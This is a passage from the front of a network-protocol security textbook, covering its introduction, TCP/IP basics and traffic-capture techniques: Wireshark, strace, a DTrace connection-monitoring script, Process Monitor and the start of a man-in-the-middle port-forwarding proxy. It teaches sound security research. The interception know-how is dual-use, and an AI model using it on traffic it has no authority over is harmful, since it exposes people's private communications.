to thank you for reading my book; I hope you find it enlightening and of practical use. I’m grateful for the contributions from many different people. I must start by thanking my lovely wife Huayi, who made sure I stuck to writing even if I really didn’t want to. Through her encouragement, I finished it in only four years; without her maybe it could have been written in two, but it wouldn’t have been as much fun. Of course, I definitely wouldn’t be here today without my amazing parents. Their love and encouragement has led me to become a widely recognized computer security researcher and published author. They bought the family a computer—an Atari 400— when I was young, and they were instrumental in starting my interest in computers and software development. I can’t thank them enough for giving me all my opportunities. Acting as a great counterpoint to my computer nerdiness was my oldest friend, Sam Shearon. Always the more confident and outgoing person and an incredible artist, he made me see a different side to life. Throughout my career, there have been many colleagues and friends who have made major contributions to my achievements. I must highlight Richard Neal, a good friend and sometimes line manager who gave me the opportunity to find an interest in computer security, a skill set that suited my mindset. I also can’t forget Mike Jordon who convinced me to start working at Context Information Security in the UK. Along with owners Alex Church and Mark Raeburn, they gave me the time to do impactful security research, build my skills in network protocol analysis, and develop tools such as Canape. This experience of attacking real-world, and typically completely bespoke, network protocols is what much of the content of this book is based on. I must thank Katie Moussouris for convincing me to go for the Microsoft Mitigation Bypass Bounty, raising my profile massively in the information security world, and of course for giving me a giant novelty check for $100,000 for my troubles. My increased profile didn’t go amiss when the team for Google Project Zero—a group of world leading security researchers with the goal of making the platforms that we all rely on more secure—was being set up. Will Harris mentioned me to the current head of the team, Chris Evans, who convinced me to interview, and soon I was a Googler. Being a member of such an excellent team makes me proud. Finally, I must thank Bill, Laurel, and Liz at No Starch Press for having the patience to wait for me to finish this book and for giving me solid advice on how to tackle it. I hope that they, and you, are happy with the final result. |||||||||||||||||||| |||||||||||||||||||| INTRODUCTION When first introduced, the technology that allowed devices to connect to a network was exclusive to large companies and governments. Today, most people carry a fully networked computing device in their pocket, and with the rise of the Internet of Things (IoT), you can add devices such as your fridge and our home’s security system to this interconnected world. The security of these connected devices is therefore increasingly important. Although you might not be too concerned about someone disclosing the details of how many yogurts you buy, if your smartphone is compromised over the same network as your fridge, you could lose all your personal and financial information to a malicious attacker. This book is named Attacking Network Protocols because to find security vulnerabilities in a network-connected device, you need to adopt the mind-set of the attacker who wants to exploit those weaknesses. Network protocols communicate with other devices on a network, and because these protocols must be exposed to a public network and often don’t undergo the same level of scrutiny as other components of a device, they’re an obvious attack target. Why Read This Book? Many books discuss network traffic capture for the purposes of diagnostics and basic network analysis, but they don’t focus on the security aspects of the protocols they capture. What makes this book different is that it focuses on analyzing custom protocols to find security vulnerabilities. This book is for those who are interested in analyzing and attacking network protocols but don’t know where to start. The chapters will guide you through learning techniques to capture network traffic, performing analysis of the protocols, and discovering and exploiting security vulnerabilities. The book provides background information on networking and network security, as well as practical examples of protocols to analyze. Whether you want to attack network protocols to report security vulnerabilities to an application’s vendor or just want to know how your latest IoT device communicates, you’ll find several topics of interest. What’s in This Book? This book contains a mix of theoretical and practical chapters. For the practical chapters, I’ve developed and made available a networking library called Canape Core, which you can use to build your own tools for protocol analysis and exploitation. I’ve also provided an example networked application called SuperFunkyChat, which implements a user-to-user |||||||||||||||||||| |||||||||||||||||||| chat protocol. By following the discussions in the chapters, you can use the example application to learn the skills of protocol analysis and attack the sample network protocols. Here is a brief breakdown of each chapter: Chapter 1: The Basics of Networking This chapter describes the basics of computer networking with a particular focus on TCP/IP, which forms the basis of application-level network protocols. Subsequent chapters assume that you have a good grasp of the network basics. This chapter also introduces the approach I use to model application protocols. The model breaks down the application protocol into flexible layers and abstracts complex technical detail, allowing you to focus on the bespoke parts of the protocol you’re analyzing. Chapter 2: Capturing Application Traffic This chapter introduces the concepts of passive and active capture of network traffic, and it’s the first chapter to use the Canape Core network libraries for practical tasks. Chapter 3: Network Protocol Structures This chapter contains details of the internal structures that are common across network protocols, such as the representation of numbers or human-readable text. When you’re analyzing captured network traffic, you can use this knowledge to quickly identify common structures, speeding up your analysis. Chapter 4: Advanced Application Traffic Capture This chapter explores a number of more advanced capture techniques that complement the examples in Chapter 2. The advanced capture techniques include configuring Network Address Translation to redirect traffic of interest and spoofing the address resolution protocol. Chapter 5: Analysis from the Wire This chapter introduces methods for analyzing captured network traffic using the passive and active techniques described in Chapter 2. In this chapter, we begin using the SuperFunkyChat application to generate example traffic. Chapter 6: Application Reverse Engineering This chapter describes techniques for reverse engineering network-connected programs. Reverse engineering allows you to analyze a protocol without needing to capture example traffic. These methods also help to identify how custom encryption or obfuscation is implemented so you can better analyze traffic you’ve captured. Chapter 7: Network Protocol Security This chapter provides background information on techniques and cryptographic algorithms used to secure network protocols. Protecting the contents of network traffic |||||||||||||||||||| |||||||||||||||||||| from disclosure or tampering as it travels over public networks is of the utmost importance for network protocol security. Chapter 8: Implementing the Network Protocol This chapter explains techniques for implementing the application network protocol in your own code so you can test the protocol’s behavior to find security weaknesses. Chapter 9: The Root Causes of Vulnerabilities This chapter describes common security vulnerabilities you’ll encounter in a network protocol. When you understand the root causes of vulnerabilities, you can more easily identify them during analysis. Chapter 10: Finding and Exploiting Security Vulnerabilities This chapter describes processes for finding security vulnerabilities based on the root causes in Chapter 9 and demonstrates a number of ways of exploiting them, including developing your own shell code and bypassing exploit mitigations through return- oriented programming. Appendix: Network Protocol Analysis Toolkit In the appendix, you’ll find descriptions of some of the tools I commonly use when performing network protocol analysis. Many of the tools are described briefly in the main body of the text as well. How to Use This Book If you want to start with a refresher on the basics of networking, read Chapter 1 first. When you’re familiar with the basics, proceed to Chapters 2, 3, and 5 for practical experience in capturing network traffic and learning the network protocol analysis process. With the knowledge of the principles of network traffic capture and analysis, you can then move on to Chapters 7 through 10 for practical information on how to find and exploit security vulnerabilities in these protocols. Chapters 4 and 6 contain more advanced information about additional capture techniques and application reverse engineering, so you can read them after you’ve read the other chapters if you prefer. For the practical examples, you’ll need to install .NET Core (https://www.microsoft.com/net/core/), which is a cross-platform version of the .NET runtime from Microsoft that works on Windows, Linux, and macOS. You can then download releases for Canape Core from https://github.com/tyranid/CANAPE.Core/releases/ and SuperFunkyChat from https://github.com/tyranid/ExampleChatApplication/releases/; both use .NET Core as the runtime. Links to each site are available with the book’s resources at https://www.nostarch.com/networkprotocols/. |||||||||||||||||||| |||||||||||||||||||| To execute the example Canape Core scripts, you’ll need to use the CANAPE.Cli application, which will be in the release package downloaded from the Canape Core Github repository. Execute the script with the following command line, replacing script.csx with the name of the script you want to execute. dotnet exec CANAPE.Cli.dll script.csx All example listings for the practical chapters as well as packet captures are available on the book’s page at https://www.nostarch.com/networkprotocols/. It’s best to download these example listings before you begin so you can follow the practical chapters without having to enter a large amount of source code manually. Contact Me I’m always interested in receiving feedback, both positive and negative, on my work, and this book is no exception. You can email me at [email protected]. You can also follow me on Twitter @tiraniddo or subscribe to my blog at https://tyranidslair.blogspot.com/ where I post some of my latest advanced security research. |||||||||||||||||||| |||||||||||||||||||| 1 THE BASICS OF NETWORKING To attack network protocols, you need to understand the basics of computer networking. The more you understand how common networks are built and function, the easier it will be to apply that knowledge to capturing, analyzing, and exploiting new protocols. Throughout this chapter, I’ll introduce basic network concepts you’ll encounter every day when you’re analyzing network protocols. I’ll also lay the groundwork for a way to think about network protocols, making it easier to find previously unknown security issues during your analysis. Network Architecture and Protocols Let’s start by reviewing some basic networking terminology and asking the fundamental question: what is a network? A network is a set of two or more computers connected together to share information. It’s common to refer to each connected device as a node on the network to make the description applicable to a wider range of devices. Figure 1-1 shows a very simple example. Figure 1-1: A simple network of three nodes The figure shows three nodes connected with a common network. Each node might have a different operating system or hardware. But as long as each node follows a set of rules, or network protocol, it can communicate with the other nodes on the network. To communicate correctly, all nodes on a network must understand the same network protocol. |||||||||||||||||||| |||||||||||||||||||| A network protocol serves many functions, including one or more of the following: Maintaining session state Protocols typically implement mechanisms to create new connections and terminate existing connections. Identifying nodes through addressing Data must be transmitted to the correct node on a network. Some protocols implement an addressing mechanism to identify specific nodes or groups of nodes. Controlling flow The amount of data transferred across a network is limited. Protocols can implement ways of managing data flow to increase throughput and reduce latency. Guaranteeing the order of transmitted data Many networks do not guarantee that the order in which the data is sent will match the order in which it’s received. A protocol can reorder the data to ensure it’s delivered in the correct order. Detecting and correcting errors Many networks are not 100 percent reliable; data can become corrupted. It’s important to detect corruption and, ideally, correct it. Formatting and encoding data Data isn’t always in a format suitable for transmitting on the network. A protocol can specify ways of encoding data, such as encoding English text into binary values. The Internet Protocol Suite TCP/IP is the de facto protocol that modern networks use. Although you can think of TCP/IP as a single protocol, it’s actually a combination of two protocols: the Transmission Control Protocol (TCP) and the Internet Protocol (IP). These two protocols form part of the Internet Protocol Suite (IPS), a conceptual model of how network protocols send network traffic over the internet that breaks down network communication into four layers, as shown in Figure 1-2. |||||||||||||||||||| |||||||||||||||||||| Figure 1-2: Internet Protocol Suite layers These four layers form a protocol stack. The following list explains each layer of the IPS: Link layer (layer 1) This layer is the lowest level and describes the physical mechanisms used to transfer information between nodes on a local network. Well- known examples include Ethernet (both wired and wireless) and Point-to-Point Protocol (PPP). Internet layer (layer 2) This layer provides the mechanisms for addressing network nodes. Unlike in layer 1, the nodes don’t have to be located on the local network. This level contains the IP; on modern networks, the actual protocol used could be either version 4 (IPv4) or version 6 (IPv6). Transport layer (layer 3) This layer is responsible for connections between clients and servers, sometimes ensuring the correct order of packets and providing service multiplexing. Service multiplexing allows a single node to support multiple different services by assigning a different number for each service; this number is called a port. TCP and the User Datagram Protocol (UDP) operate on this layer. Application layer (layer 4) This layer contains network protocols, such as the HyperText Transport Protocol (HTTP), which transfers web page contents; the Simple Mail Transport Protocol (SMTP), which transfers email; and the Domain Name System (DNS) protocol, which converts a name to a node on the network. Throughout this |||||||||||||||||||| |||||||||||||||||||| book, we’ll focus primarily on this layer. Each layer interacts only with the layer above and below it, but there must be some external interactions with the stack. Figure 1-2 shows two external connections. The link layer interacts with a physical network connection, transmitting data in a physical medium, such as pulses of electricity or light. The application layer interacts with the user application: an application is a collection of related functionality that provides a service to a user. Figure 1-3 shows an example of an application that processes email. The service provided by the mail application is the sending and receiving of messages over a network. Figure 1-3: Example mail application Typically, applications contain the following components: Network communication This component communicates over the network and processes incoming and outgoing data. For a mail application, the network communication is most likely a standard protocol, such as SMTP or POP3. Content parsers Data transferred over a network usually contains content that must be extracted and processed. Content might include textual data, such as the body of an email, or it might be pictures or video. User interface (UI) The UI allows the user to view received emails and to create new emails for transmission. In a mail application, the UI might display emails using HTML in a web browser. Note that the user interacting with the UI doesn’t have to be a human being. It could be another application that automates the sending and receiving of emails through a command line tool. Data Encapsulation Each layer in the IPS is built on the one below, and each layer is able to encapsulate the data from the layer above so it can move between the layers. Data transmitted by each |||||||||||||||||||| |||||||||||||||||||| layer is called a protocol data unit (PDU). Headers, Footers, and Addresses The PDU in each layer contains the payload data that is being transmitted. It’s common to prefix a header—which contains information required for the payload data to be transmitted, such as the addresses of the source and destination nodes on the network—to the payload data. Sometimes a PDU also has a footer that is suffixed to the payload data and contains values needed to ensure correct transmission, such as error-checking information. Figure 1-4 shows how the PDUs are laid out in the IPS. Figure 1-4: IPS data encapsulation The TCP header contains a source and destination port number ➊. These port numbers allow a single node to have multiple unique network connections. Port numbers for TCP (and UDP) range from 0 to 65535. Most port numbers are assigned as needed to new connections, but some numbers have been given special assignments, such as port 80 for HTTP. (You can find a current list of assigned port numbers in the /etc/services file on most Unix-like operating systems.) A TCP payload and header are commonly called a segment, whereas a UDP payload and header are commonly called a datagram. The IP protocol uses a source and a destination address ➋. The destination address allows the data to be sent to a specific node on the network. The source address allows the receiver of the data to know which node sent the data and allows the receiver to reply to the sender. |||||||||||||||||||| |||||||||||||||||||| IPv4 uses 32-bit addresses, which you’ll typically see written as four numbers separated by dots, such as 192.168.10.1. IPv6 uses 128-bit addresses, because 32-bit addresses aren’t sufficient for the number of nodes on modern networks. IPv6 addresses are usually written as hexadecimal numbers separated by colons, such as fe80:0000:0000:0000:897b:581e:44b0:2057. Long strings of 0000 numbers are collapsed into two colons. For example, the preceding IPv6 address can also be written as fe80::897b:581e:44b0:2057. An IP payload and header are commonly called a packet. Ethernet also contains source and destination addresses ➌. Ethernet uses a 64-bit value called a Media Access Control (MAC) address, which is typically set during manufacture of the Ethernet adapter. You’ll usually see MAC addresses written as a series of hexadecimal numbers separated by dashes or colons, such as 0A-00-27-00-00-0E. The Ethernet payload, including the header and footer, is commonly referred to as a frame. Data Transmission Let’s briefly look at how data is transferred from one node to another using the IPS data encapsulation model. Figure 1-5 shows a simple Ethernet network with three nodes. Figure 1-5: A simple Ethernet network In this example, the node at ➊ with the IP address 192.1.1.101 wants to send data using the IP protocol to the node at ➋ with the IP address 192.1.1.50. (The switch device ➌ forwards Ethernet frames between all nodes on the network. The switch doesn’t need an |||||||||||||||||||| |||||||||||||||||||| IP address because it operates only at the link layer.) Here is what takes place to send data between the two nodes: 1. The operating system network stack node ➊ encapsulates the application and transport layer data and builds an IP packet with a source address of 192.1.1.101 and a destination address of 192.1.1.50. 2. The operating system can at this point encapsulate the IP data as an Ethernet frame, but it might not know the MAC address of the target node. It can request the MAC address for a particular IP address using the Address Resolution Protocol (ARP), which sends a request to all nodes on the network to find the MAC address for the destination IP address. 3. Once the node at ➊ receives an ARP response, it can build the frame, setting the source address to the local MAC address of 00-11-22-33-44-55 and the destination address to 66-77-88-99-AA-BB. The new frame is transmitted on the network and is received by the switch ➌. 4. The switch forwards the frame to the destination node, which unpacks the IP packet and verifies that the destination IP address matches. Then the IP payload data is extracted and passes up the stack to be received by the waiting application. Network Routing Ethernet requires that all nodes be directly connected to the same local network. This requirement is a major limitation for a truly global network because it’s not practical to physically connect every node to every other node. Rather than require that all nodes be directly connected, the source and destination addresses allow data to be routed over different networks until the data reaches the desired destination node, as shown in Figure 1-6. |||||||||||||||||||| |||||||||||||||||||| Figure 1-6: An example of a routed network connecting two Ethernet networks Figure 1-6 shows two Ethernet networks, each with separate IP network address ranges. The following description explains how the IP uses this model to send data from the node at ➊ on network 1 to the node at ➋ on network 2. 1. The operating system network stack node ➊ encapsulates the application and transport layer data, and it builds an IP packet with a source address of 192.1.1.101 and a destination address of 200.0.1.50. 2. The network stack needs to send an Ethernet frame, but because the destination IP address does not exist on any Ethernet network that the node is connected to, the network stack consults its operating system routing table. In this example, the routing table contains an entry for the IP address 200.0.1.50. The entry indicates that a router ➌ on IP address 192.1.1.1 knows how to get to that destination address. 3. The operating system uses ARP to look up the router’s MAC address at 192.1.1.1, and the original IP packet is encapsulated within the Ethernet frame with that MAC address. 4. The router receives the Ethernet frame and unpacks the IP packet. When the router checks the destination IP address, it determines that the IP packet is not destined for the router but for a different node on another connected network. The router looks up the MAC address of 200.0.1.50, encapsulates the original IP packet into the new Ethernet frame, and sends it on to network 2. 5. The destination node receives the Ethernet frame, unpacks the IP packet, and processes its contents. This routing process might be repeated multiple times. For example, if the router was not directly connected to the network containing the node 200.0.1.50, it would consult its own routing table and determine the next router it could send the IP packet to. Clearly, it would be impractical for every node on the network to know how to get to every other node on the internet. If there is no explicit routing entry for a destination, the operating system provides a default routing table entry, called the default gateway, which contains the IP address of a router that can forward IP packets to their destinations. My Model for Network Protocol Analysis The IPS describes how network communication works; however, for analysis purposes, most of the IPS model is not relevant. It’s simpler to use my model to understand the behavior of an application network protocol. My model contains three layers, as shown in Figure 1-7, which illustrates how I would analyze an HTTP request. Here are the three layers of my model: Technet24 |||||||||||||||||||| |||||||||||||||||||| Content layer Provides the meaning of what is being communicated. In Figure 1-7, the meaning is making an HTTP request for the file image.jpg. Encoding layer Provides rules to govern how you represent your content. In this example, the HTTP request is encoded as an HTTP GET request, which specifies the file to retrieve. Transport layer Provides rules to govern how data is transferred between the nodes. In the example, the HTTP GET request is sent over a TCP/IP connection to port 80 on the remote node. Figure 1-7: My conceptual protocol model Splitting the model this way reduces complexity with application-specific protocols because it allows us to filter out details of the network protocol that aren’t relevant. For example, because we don’t really care how TCP/IP is sent to the remote node (we take for granted that it will get there somehow), we simply treat the TCP/IP data as a binary transport that just works. To understand why the protocol model is useful, consider this protocol example: imagine you’re inspecting the network traffic from some malware. You find that the malware uses HTTP to receive commands from the operator via the server. For example, the operator might ask the malware to enumerate all files on the infected computer’s hard drive. The list of files can be sent back to the server, at which point the operator can request a specific file to be uploaded. If we analyze the protocol from the perspective of how the operator would interact with the malware, such as by requesting a file to be uploaded, the new protocol breaks down into the layers shown in Figure 1-8. |||||||||||||||||||| |||||||||||||||||||| Figure 1-8: The conceptual model for a malware protocol using HTTP The following list explains each layer of the new protocol model: Content layer The malicious application is sending a stolen file called secret.doc to the server. Encoding layer The encoding of the command to send the stolen file is a simple text string with a command SEND followed by the filename and the file data. Transport layer The protocol uses an HTTP request parameter to transport the command. It uses the standard percent-encoding mechanism, making it a legal HTTP request. Notice in this example that we don’t consider the HTTP request being sent over TCP/IP; we’ve combined the encoding and transport layer in Figure 1-7 into just the transport layer in Figure 1-8. Although the malware still uses lower-level protocols, such as TCP/IP, these protocols are not important to the analysis of the malware command to send a file. The reason it’s not important is that we can consider HTTP over TCP/IP as a single transport layer that just works and focus specifically on the unique malware commands. By narrowing our scope to the layers of the protocol that we need to analyze, we avoid a lot of work and focus on the unique aspects of the protocol. On the other hand, if we were to analyze this protocol using the layers in Figure 1-7, we might assume that the malware was simply requesting the file image.jpg, because it would appear as though that was all the HTTP request was doing. Final Words Technet24 |||||||||||||||||||| |||||||||||||||||||| This chapter provided a quick tour of the networking basics. I discussed the IPS, including some of the protocols you’ll encounter in real networks, and described how data is transmitted between nodes on a local network as well as remote networks through routing. Additionally, I described a way to think about application network protocols that should make it easier for you to focus on the unique features of the protocol to speed up its analysis. In Chapter 2, we’ll use these networking basics to guide us in capturing network traffic for analysis. The goal of capturing network traffic is to access the data you need to start the analysis process, identify what protocols are being used, and ultimately discover security issues that you can exploit to compromise the applications using these protocols. |||||||||||||||||||| |||||||||||||||||||| 2 CAPTURING APPLICATION TRAFFIC Surprisingly, capturing useful traffic can be a challenging aspect of protocol analysis. This chapter describes two different capture techniques: passive and active. Passive capture doesn’t directly interact with the traffic. Instead, it extracts the data as it travels on the wire, which should be familiar from tools like Wireshark. You’ll find that different applications provide different mechanisms (which have their own advantages and disadvantages) to redirect traffic. Active capture interferes with traffic between a client application and the server; this has great power but can cause some complications. You can think of active capture in terms of proxies or even a man-in-the-middle attack. Let’s look at both active and passive techniques in more depth. Passive Network Traffic Capture Passive capture is a relatively easy technique: it doesn’t typically require any specialist hardware, nor do you usually need to write your own code. Figure 2-1 shows a common scenario: a client and server communicating via Ethernet over a network. Figure 2-1: An example of passive network capture Passive network capture can take place either on the network by tapping the traffic as it Technet24 |||||||||||||||||||| |||||||||||||||||||| passes in some way or by sniffing directly on either the client or server host. Quick Primer for Wireshark Wireshark is perhaps the most popular packet-sniffing application available. It’s cross platform and easy to use, and it comes with many built-in protocol analysis features. In Chapter 5 you’ll learn how to write a dissector to aid in protocol analysis, but for now, let’s set up Wireshark to capture IP traffic from the network. To capture traffic from an Ethernet interface (wired or wireless), the capturing device must be in promiscuous mode. A device in promiscuous mode receives and processes any Ethernet frame it sees, even if that frame wasn’t destined for that interface. Capturing an application running on the same computer is easy: just monitor the outbound network interface or the local loopback interface (better known as localhost). Otherwise, you might need to use networking hardware, such as a hub or a configured switch, to ensure traffic is sent to your network interface. Figure 2-2 shows the default view when capturing traffic from an Ethernet interface. Figure 2-2: The default Wireshark view |||||||||||||||||||| |||||||||||||||||||| There are three main view areas. Area ➊ shows a timeline of raw packets captured off the network. The timeline provides a list of the source and destination IP addresses as well as decoded protocol summary information. Area ➋ provides a dissected view of the packet, separated into distinct protocol layers that correspond to the OSI network stack model. Area ➌ shows the captured packet in its raw form. The TCP network protocol is stream based and designed to recover from dropped packets or data corruption. Due to the nature of networks and IP, there is no guarantee that packets will be received in a particular order. Therefore, when you are capturing packets, the timeline view might be difficult to interpret. Fortunately, Wireshark offers dissectors for known protocols that will normally reassemble the entire stream and provide all the information in one place. For example, highlight a packet in a TCP connection in the timeline view and then select Analyze ▸ Follow TCP Stream from the main menu. A dialog similar to Figure 2-3 should appear. For protocols without a dissector, Wireshark can decode the stream and present it in an easy-to-view dialog. Figure 2-3: Following a TCP stream Wireshark is a comprehensive tool, and covering all of its features is beyond the scope Technet24 |||||||||||||||||||| |||||||||||||||||||| of this book. If you’re not familiar with it, obtain a good reference, such as Practical Packet Analysis, 3rd Edition (No Starch Press, 2017), and learn many of its useful features. Wireshark is indispensable for analyzing application network traffic, and it’s free under the General Public License (GPL). Alternative Passive Capture Techniques Sometimes using a packet sniffer isn’t appropriate, for example, in situations when you don’t have permission to capture traffic. You might be doing a penetration test on a system with no administrative access or a mobile device with a limited privilege shell. You might also just want to ensure that you look at traffic only for the application you’re testing. That’s not always easy to do with packet sniffing unless you correlate the traffic based on time. In this section, I’ll describe a few techniques for extracting network traffic from a local application without using a packet-sniffing tool. System Call Tracing Many modern operating systems provide two modes of execution. Kernel mode runs with a high level of privilege and contains code implementing the OS’s core functionality. User mode is where everyday processes run. The kernel provides services to user mode by exporting a collection of special system calls (see Figure 2-4), allowing users to access files, create processes—and most important for our purposes—connect to networks. |||||||||||||||||||| |||||||||||||||||||| Figure 2-4: An example of user-to-kernel network communication via system calls When an application wants to connect to a remote server, it issues special system calls to the OS’s kernel to open a connection. The app then reads and writes the network data. Depending on the operating system running your network applications, you can monitor these calls directly to passively extract data from an application. Most Unix-like systems implement system calls resembling the Berkeley Sockets model for network communication. This isn’t surprising, because the IP protocol was originally implemented in the Berkeley Software Distribution (BSD) 4.2 Unix operating system. This socket implementation is also part of POSIX, making it the de facto standard. Table 2-1 shows some of the more important system calls in the Berkeley Sockets API. Table 2-1: Common Unix System Calls for Networking Technet24 |||||||||||||||||||| |||||||||||||||||||| Name Description socket Creates a new socket file descriptor. connect Connects a socket to a known IP address and port. bind Binds the socket to a local known IP address and port. recv, read, recvfrom Receives data from the network via the socket. The generic function read is for reading from a file descriptor, whereas recv and recvfrom are specific to the socket’s API. send, write, sendfrom Sends data over the network via the socket. To learn more about how these system calls work, a great resource is The TCP/IP Guide (No Starch Press, 2005). Plenty of online resources are also available, and most Unix-like operating systems include manuals you can view at a terminal using the command man 2 syscall_name. Now let’s look at how to monitor system calls. The strace Utility on Linux In Linux, you can directly monitor system calls from a user program without special permissions, unless the application you want to monitor runs as a privileged user. Many Linux distributions include the handy utility strace, which does most of the work for you. If it isn’t installed by default, download it from your distribution’s package manager or compile it from source. Run the following command, replacing /path/to/app with the application you’re testing and args with the necessary parameters, to log the network system calls used by that application: $ strace –e trace=network,read,write /path/to/app args Let’s monitor a networking application that reads and writes a few strings and look at the output from strace. Listing 2-1 shows four log entries (extraneous logging has been removed from the listing for brevity). $ strace -e trace=network,read,write customapp --snip-- ➊ socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 ➋ connect(3, {sa_family=AF_INET, sin_port=htons(5555), sin_addr=inet_addr("192.168.10.1")}, 16) = 0 ➌ write(3, "Hello World!\n", 13) = 13 ➍ read(3, "Boo!\n", 2048) = 5 Listing 2-1: Example output of the strace utility |||||||||||||||||||| |||||||||||||||||||| The first entry ➊ creates a new TCP socket, which is assigned the handle 3. The next entry ➋ shows the connect system call used to make a TCP connection to IP address 192.168.10.1 on port 5555. The application then writes the string Hello World! ➌ before reading out a string Boo! ➍. The output shows it’s possible to get a good idea of what an application is doing at the system call level using this utility, even if you don’t have high levels of privilege. Monitoring Network Connections with DTrace DTrace is a very powerful tool available on many Unix-like systems, including Solaris (where it was originally developed), macOS, and FreeBSD. It allows you to set system- wide probes on special trace providers, including system calls. You configure DTrace by writing scripts in a language with a C-like syntax. For more details on this tool, refer to the DTrace Guide online at http://www.dtracebook.com/index.php/DTrace_Guide. Listing 2-2 shows an example of a script that monitors outbound IP connections using DTrace. traceconnect.d /* traceconnect.d - A simple DTrace script to monitor a connect system call */ ➊ struct sockaddr_in { short sin_family; unsigned short sin_port; in_addr_t sin_addr; char sin_zero[8]; }; ➋ syscall::connect:entry ➌ /arg2 == sizeof(struct sockaddr_in)/ { ➍ addr = (struct sockaddr_in*)copyin(arg1, arg2); ➎ printf("process:'%s' %s:%d", execname, inet_ntop(2, &addr->sin_addr), ntohs(addr->sin_port)); } Listing 2-2: A simple DTrace script to monitor a connect system call This simple script monitors the connect system call and outputs IPv4 TCP and UDP connections. The system call takes three parameters, represented by arg0, arg1, and arg2 in the DTrace script language, that are initialized for us in the kernel. The arg0 parameter is the socket file descriptor (that we don’t need), arg1 is the address of the socket we’re connecting to, and arg2 is the length of that address. Parameter 0 is the socket handle, which is not needed in this case. The next parameter is the user process memory address of a socket address structure, which is the address to connect to and can be different sizes depending on the socket type. (For example, IPv4 addresses are smaller than IPv6.) The final parameter is the length of the socket address structure in bytes. The script defines a sockaddr_in structure that is used for IPv4 connections at ➊; in many cases these structures can be directly copied from the system’s C header files. The system Technet24 |||||||||||||||||||| |||||||||||||||||||| call to monitor is specified at ➋. At ➌, a DTrace-specific filter is used to ensure we trace only connect calls where the socket address is the same size as sockaddr_in. At ➍, the sockaddr_in structure is copied from your process into a local structure for DTrace to inspect. At ➎, the process name, the destination IP address, and the port are printed to the console. To run this script, copy it to a file called traceconnect.d and then run the command dtrace -s traceconnect.d as the root user. When you use a network-connected application, the output should look like Listing 2-3. process:'Google Chrome' 173.194.78.125:5222 process:'Google Chrome' 173.194.66.95:443 process:'Google Chrome' 217.32.28.199:80 process:'ntpd' 17.72.148.53:123 process:'Mail' 173.194.67.109:993 process:'syncdefaultsd' 17.167.137.30:443 process:'AddressBookSour' 17.172.192.30:443 Listing 2-3: Example output from traceconnect.d script The output shows individual connections to IP addresses, printing out the process name, for example 'Google Chrome', the IP address, and the port connected to. Unfortunately, the output isn’t always as useful as the output from strace on Linux, but DTrace is certainly a valuable tool. This demonstration only scratches the surface of what DTrace can do. Process Monitor on Windows In contrast to Unix-like systems, Windows implements its user-mode network functions without direct system calls. The networking stack is exposed through a driver, and establishing a connection uses the file open, read, and write system calls to configure a network socket for use. Even if Windows supported a facility similar to strace, this implementation makes it more difficult to monitor network traffic at the same level as other platforms. Windows, starting with Vista and later, has supported an event generation framework that allows applications to monitor network activity. Writing your own implementation of this would be quite complex, but fortunately, someone has already written a tool to do it for you: Microsoft’s Process Monitor tool. Figure 2-5 shows the main interface when filtering only on network connection events. |||||||||||||||||||| |||||||||||||||||||| Figure 2-5: An example Process Monitor capture Selecting the filter circled in Figure 2-5 displays only events related to network connections from a monitored process. Details include the hosts involved as well as the protocol and port being used. Although the capture doesn’t provide any data associated with the connections, it does offer valuable insight into the network communications the application is establishing. Process Monitor can also capture the state of the current calling stack, which helps you determine where in an application network connections are being made. This will become important in Chapter 6 when we start reverse engineering binaries to work out the network protocol. Figure 2-6 shows a single HTTP connection to a remote server in detail. Figure 2-6: A single captured connection Column ➊ shows the name of the process that established the connection. Column ➋ shows the operation, which in this case is connecting to a remote server, sending the initial HTTP request and receiving a response. Column ➌ indicates the source and destination Technet24 |||||||||||||||||||| |||||||||||||||||||| addresses, and column ➍ provides more in-depth information about the captured event. Although this solution isn’t as helpful as monitoring system calls on other platforms, it’s still useful in Windows when you just want to determine the network protocols a particular application is using. You can’t capture data using this technique, but once you determine the protocols in use, you can add that information to your analysis through more active network traffic capture. Advantages and Disadvantages of Passive Capture The greatest advantage of using passive capture is that it doesn’t disrupt the client and server applications’ communication. It will not change the destination or source address of traffic, and it doesn’t require any modifications or reconfiguration of the applications. Passive capture might also be the only technique you can use when you don’t have direct control over the client or the server. You can usually find a way to listen to the network traffic and capture it with a limited amount of effort. After you’ve collected your data, you can determine which active capture techniques to use and the best way to attack the protocol you want to analyze. One major disadvantage of passive network traffic capture is that capture techniques like packet sniffing run at such a low level that it can difficult to interpret what an application received. Tools such as Wireshark certainly help, but if you’re analyzing a custom protocol, it might not be possible to easily take apart the protocol without interacting with it directly. Passive capture also doesn’t always make it easy to modify the traffic an application produces. Modifying traffic isn’t always necessary, but it’s useful when you encounter encrypted protocols, want to disable compression, or need to change the traffic for exploitation. When analyzing traffic and injecting new packets doesn’t yield results, switch tactics and try using active capture techniques. Active Network Traffic Capture Active capture differs from passive in that you’ll try to influence the flow of the traffic, usually by using a man-in-the-middle attack on the network communication. As shown in Figure 2-7, the device capturing traffic usually sits between the client and server applications, acting as a bridge. This approach has several advantages, including the ability to modify traffic and disable features like encryption or compression, which can make it easier to analyze and exploit a network protocol. |||||||||||||||||||| |||||||||||||||||||| Figure 2-7: A man-in-the-middle proxy A disadvantage of this approach is that it’s usually more difficult because you need to reroute the application’s traffic through your active capture system. Active capture can also have unintended, undesirable effects. For example, if you change the network address of the server or client to the proxy, this can cause confusion, resulting in the application sending traffic to the wrong place. Despite these issues, active capture is probably the most valuable technique for analyzing and exploiting application network protocols. Network Proxies The most common way to perform a man-in-the-middle attack on network traffic is to force the application to communicate through a proxy service. In this section, I’ll explain the relative advantages and disadvantages of some of the common proxy types you can use to capture traffic, analyze that data, and exploit a network protocol. I’ll also show you how to get traffic from typical client applications into a proxy. Port-Forwarding Proxy Port forwarding is the easiest way to proxy a connection. Just set up a listening server (TCP or UDP) and wait for a new connection. When that new connection is made to the proxy server, it will open a forwarding connection to the real service and logically connect the two, as shown in Figure 2-8. Figure 2-8: Overview of a TCP port-forwarding proxy Simple Implementation Technet24 |||||||||||||||||||| |||||||||||||||||||| To create our proxy, we’ll use the built-in TCP port forwarder included with the Canape Core libraries. Place the code in Listing 2-4 into a C# script file, changing LOCALPORT ➋, REMOTEHOST ➌, and REMOTEPORT ➍ to appropriate values for your network. PortFormat Proxy.csx // PortFormatProxy.csx – Simple TCP port-forwarding proxy // Expose methods like WriteLine and WritePackets using static System.Console; using static CANAPE.Cli.ConsoleUtils; // Create proxy template var template = new ➊FixedProxyTemplate(); template.LocalPort = ➋LOCALPORT; template.Host = ➌"REMOTEHOST"; 